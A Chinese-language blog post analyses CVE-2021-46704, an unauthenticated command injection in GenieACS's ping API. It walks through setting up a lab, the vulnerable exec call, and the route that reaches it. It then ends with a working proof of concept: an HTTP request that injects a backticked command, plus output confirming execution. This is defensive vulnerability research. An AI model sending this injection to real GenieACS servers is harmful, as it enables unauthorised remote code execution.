CVE-2021-46704 GenieACS 认证前RCE漏洞分析

admin 2022年9月30日03:18:51评论227 views字数 11189阅读37分17秒阅读模式

更多全球网络安全资讯尽在邑安全

简介

GenieACS是一个开源的TR-069远程管理解决方案。

漏洞参考披露信息CVE-2021-46704

In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.

TR-069知识

tr-069是CPE和ACS之间沟通的通讯协定,全称是CPE广域网管理协议,即就是CWMP(CPE WAN Management Protocol)。

TR069协议提供了对下一代网络中家庭网络设备进行管理配置的通用框架消息规范管理方法数据模型

其中CPE指的是用户终端设备,ACS指的是自动配置服务器。

tr069提供了一系列方法来实现ACS针对CPE的管理,参考TR-069协议介绍。

环境搭建

软件环境搭建

官网提供了详细的使用安装教程,可以跟着一步步来

尝试搜索了一下,发现有前人提供了docker部署方式

cd /opt && git clone https://github.com/DrumSergio/GenieACS-Docker && cd GenieACS-Docker
sudo docker pull drumsergio/genieacs:1.2.8
sudo docker-compose up -d

完成操作后,3000端口即可正常访问进入配置界面

CVE-2021-46704 GenieACS 认证前RCE漏洞分析

点击按钮后就可以进入正常的登陆界面

CVE-2021-46704 GenieACS 认证前RCE漏洞分析

至此,基础的运行环境搭建完成

因为这个漏洞影响1.2.8以下版本,所以需要安装老一点的版本,刚好也有大佬提供了docker 1.2.0的安装方式

然后一定要注意的此时有一个坑,需要将genieacs容器中/opt/genieacs/lib/config.ts中mongo的默认地址写成你的mongo的ip地址(不知道其他人会不会遇到,我在这里卡了很久才找到问题所在)

然后为了方便调试,将genieacs这个容器对外多加一个9000-9003端口用于调试

CVE-2021-46704 GenieACS 认证前RCE漏洞分析

可以看出1.2.0这个版本在登陆界面上看不到版本号

调试环境踩坑

关于远程调试nodejs,有很多教程

nodejs调试指南

使用 VSCode 远程调试 Node.js

通过VScode调试docker内的nodejs代码

主要思路都是在运行的时候node增加inspect参数,但是这要求我们需要我们找到启动的时候真正调用的所谓的server.js文件,在目标环境shell中查看进程

root@35fea11e1d0b:~# ps -ef
UID PID PPID C STIME TTY TIME CMD
genieacs 1 0 0 03:41 ? 00:00:09 /usr/bin/python2 /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf
genieacs 10 1 0 03:41 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 11 1 0 03:41 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-fs
genieacs 12 1 0 03:41 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-nbi
genieacs 13 10 0 03:41 ? 00:00:00 node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 15 11 0 03:41 ? 00:00:00 node /opt/genieacs/dist/bin/genieacs-fs
genieacs 16 12 0 03:41 ? 00:00:00 node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 46 15 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 48 15 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 49 15 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 55 15 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 77 16 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 84 16 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 89 16 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 92 13 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 97 13 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 99 16 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 100 13 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 103 13 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
root 230 0 0 03:41 pts/0 00:00:00 bash
genieacs 347 1 0 07:57 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-ui
genieacs 348 347 0 07:57 ? 00:00:00 node /opt/genieacs/dist/bin/genieacs-ui
genieacs 359 348 0 07:57 ? 00:00:08 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui
genieacs 362 348 0 07:57 ? 00:00:05 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui
genieacs 366 348 0 07:57 ? 00:00:03 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui
genieacs 374 348 0 07:57 ? 00:00:03 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui
root 429 230 0 13:04 pts/0 00:00:00 ps -ef

查看/etc/supervisor/conf.d/supervisord.conf

[supervisord]
nodaemon=true
user=genieacs

[program:genieacs-cwmp]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-cwmp
stdout_logfile=/var/log/genieacs/genieacs-cwmp.log
stderr_logfile=/var/log/genieacs/genieacs-cwmp.log
autorestart=true

[program:genieacs-nbi]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-nbi
stdout_logfile=/var/log/genieacs/genieacs-nbi.log
stderr_logfile=/var/log/genieacs/genieacs-nbi.log
autorestart=true

[program:genieacs-fs]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-fs
stdout_logfile=/var/log/genieacs/genieacs-fs.log
stderr_logfile=/var/log/genieacs/genieacs-fs.log
autorestart=true

[program:genieacs-ui]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-ui
stdout_logfile=/var/log/genieacs/genieacs-ui.log
stderr_logfile=/var/log/genieacs/genieacs-ui.log
autorestart=true

我们关注的显然是genieacs-ui

#!/usr/bin/env node
.......

尝试加上调试命令,将文件头部更改为

#!/usr/bin/env node --inspect-brk=0.0.0.0:9000
......

然后重启我的docker,重启完成后再查看进程发现已经以调试模式启动了

root@58a580aafc7f:/var/log/genieacs# ps -ef
UID PID PPID C STIME TTY TIME CMD
genieacs 1 0 0 13:57 ? 00:00:00 /usr/bin/python2 /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf
genieacs 10 1 0 13:57 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 11 1 0 13:57 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-fs
genieacs 12 1 0 13:57 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-nbi
genieacs 13 10 0 13:57 ? 00:00:00 node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 14 1 0 13:57 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-ui
genieacs 15 11 0 13:57 ? 00:00:00 node /opt/genieacs/dist/bin/genieacs-fs
genieacs 16 12 0 13:57 ? 00:00:00 node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 27 14 99 13:57 ? 00:14:55 /usr/bin/env node --inspect-brk=0.0.0.0:9000 /opt/genieacs/dist/bin/genieacs-ui
genieacs 40 15 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 45 15 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 46 16 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 47 15 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 54 16 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 56 16 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 68 15 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 82 16 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 84 13 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 99 13 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 110 13 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 113 13 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
root 180 0 0 13:57 pts/0 00:00:00 bash
root 187 180 0 14:12 pts/0 00:00:00 ps -ef

然后进入主机vscode中创建launch.json文件

{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"type": "node",
"request": "attach",
"name": "Remote server",
"address": "*****",
"port": 9000,
"localRoot": "/*****/genieACS/genieacs/bin/genieacs-ui.ts",
"remoteRoot": "/opt/genieacs/dist/bin/genieacs-ui"
}
]
}

经过了这一番折腾,结果发现这个调试环境对于genieACS并不起作用,主要原因是因为genieACS要有一个混淆的过程,针对生成的文件并不能像普通的js一样调试

我最终解决办法是这样的,

修改lib/logger.ts文件,在尾部加入以下代码

export function mylog(Name, Value): void {
error({ message: "------0------" + Name + "-------0-------" })
error({ message: Value })
error({ message: "------1------" + Name + "-------1-------" })
}

当需要调试的时候使用logger.mylog(Name, Value)即可,打印的值可以在/var/log/genieacs/genieacs-ui.log中看到

另外在/opt/genieacs目录下创建debug.sh

npm run build
ps -ef | grep "node /opt/genieacs/dist/bin/genieacs-ui" | grep -v "/usr/local" | grep -v "grep" | awk '{print$2}' | xargs kill -9

每次在修改完代码后需要运行这个文件

不得不承认确实有点麻烦,但确实是我目前能力上能想到的解决办法了

我相信作者一定有更好的调试方法,或许可以提个issue问一下,如果观者有更好的方法欢迎提出

漏洞分析

CVE-2021-46704这个漏洞细节已经报的很清楚了,漏洞存在于 lib/ping.ts文件中

import { platform } from "os";
import { exec } from "child_process";
.......
export function ping(
host: string,
callback: (err: Error, res?: PingResult, stdout?: string) => void
): void {
let cmd: string, parseRegExp1: RegExp, parseRegExp2: RegExp;
switch (platform()) {
case "linux":
cmd = `ping -w 1 -i 0.2 -c 3 ${host}`;
parseRegExp1 = /(d+) packets transmitted, (d+) received, ([d.]+)% packet loss[^]*([d.]+)/([d.]+)/([d.]+)/([d.]+)/;
parseRegExp2 = /(d+) packets transmitted, (d+) received, ([d.]+)% packet loss/;
break;

case "freebsd":
// Send a single packet because on FreeBSD only superuser can send
// packets that are only 200 ms apart.
cmd = `ping -t 1 -c 3 ${host}`;
parseRegExp1 = /(d+) packets transmitted, (d+) packets received, ([d.]+)% packet lossnround-trip min/avg/max/stddev = ([d.]+)/([d.]+)/([d.]+)/([d.]+) ms/;
parseRegExp2 = /(d+) packets transmitted, (d+) packets received, ([d.]+)% packet loss/;
break;

default:
return callback(new Error("Platform not supported"));
}

exec(cmd, (err, stdout)
......

很明显,会将ping命令中host参数拼接到字符串中然后调用child_process.exec函数去执行

知道了漏洞点以后,尝试找一下触发路径,根据进程我们知道程序是使用node运行/opt/genieacs/dist/bin/genieacs-ui

/opt/genieacs/dist/bin/genieacs-ui这个文件是/bin/genieacs-ui.ts混淆生成的,所以直接去看相应文件

......
const _listener = (req, res): void => {
if (stopping) res.setHeader("Connection", "close");
listener(req, res);
};

const initPromise = Promise.all([db2.connect(), cache.connect()])
.then(() => {
server.start(SERVICE_PORT, SERVICE_ADDRESS, ssl, _listener);
})
.catch((err) => {
setTimeout(() => {
throw err;
});
});
......

geniesacs-ui.ts中开启了服务器,使用listener作为监听处理,listener相关定义在于lib/ui.ts中

......
router.post("/login", async (ctx) => {
if (!JWT_SECRET) {
ctx.status = 500;
ctx.body = "UI_JWT_SECRET is not set";
logger.error({ message: "UI_JWT_SECRET is not set" });
return;
}
......
router.get("/status", (ctx) => {
ctx.body = "OK";
});
.....
router.use("/api", api.routes(), api.allowedMethods());
.....

很明显代码中根据不同的urlpatten规范了不同的处理内容,根据漏洞公告明确知道漏洞肯定是出在api中,因此直接去查看api.routes(),尝试找到ping的具体处理路径,最终在lib/ui/api.ts中找到了相关定义

router.get("/ping/:host", async (ctx) => {
return new Promise((resolve) => {
ping(ctx.params.host, (err, parsed) => {
if (parsed) {
ctx.body = parsed;
} else {
ctx.status = 500;
ctx.body = `${err.name}: ${err.message}`;
}
resolve();
});
});
});

很明显会从get请求url中取出host的值,然后传入ping函数,进而造成命令执行,同时在调用路径上没有看到任何认证校验的存在,因此此漏洞还是一个认证前的命令执行

漏洞复现

GET /api/ping/`id>%2ftmp%2faaaaa` HTTP/1.1
Host: 172.16.113.160:3000
User-Agent: Mozilla
Accept: application/json, text/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://172.16.113.160:3000
Connection: close
Referer: http://172.16.113.160:3000/

回包:

HTTP/1.1 500 Internal Server Error
X-Config-Snapshot: fc1bdc5907edb1217fed62dd5425c464
GenieACS-Version: 1.2.0+20220915090845
Vary: Accept-Encoding
Content-Type: text/plain; charset=utf-8
Content-Length: 663
Date: Thu, 15 Sep 2022 09:48:20 GMT
Connection: close

Error: Command failed: ping -w 1 -i 0.2 -c 3 `id>/tmp/aaaaa`
Usage: ping [-aAbBdDfhLnOqrRUvV64] [-c count] [-i interval] [-I interface]
[-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
[-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
[-w deadline] [-W timeout] [hop1 ...] destination
Usage: ping -6 [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
[-l preload] [-m mark] [-M pmtudisc_option]
[-N nodeinfo_option] [-p pattern] [-Q tclass] [-s packetsize]
[-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline]
[-W timeout] destination


CVE-2021-46704 GenieACS 认证前RCE漏洞分析

在目标中查看,/tmp/aaaaa中已经写入内容

root@5*****:/opt/genieacs# cat /tmp/aaaaa
uid=999(genieacs) gid=999(genieacs) groups=999(genieacs)

成功复现命令注入

原文来自: xz.aliyun.com

原文链接: https://xz.aliyun.com/t/11723

欢迎收藏并分享朋友圈,让五邑人网络更安全

CVE-2021-46704 GenieACS 认证前RCE漏洞分析

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 



原文始发于微信公众号(邑安全):CVE-2021-46704 GenieACS 认证前RCE漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月30日03:18:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-46704 GenieACS 认证前RCE漏洞分析https://cn-sec.com/archives/1326541.html

发表评论

匿名网友 填写信息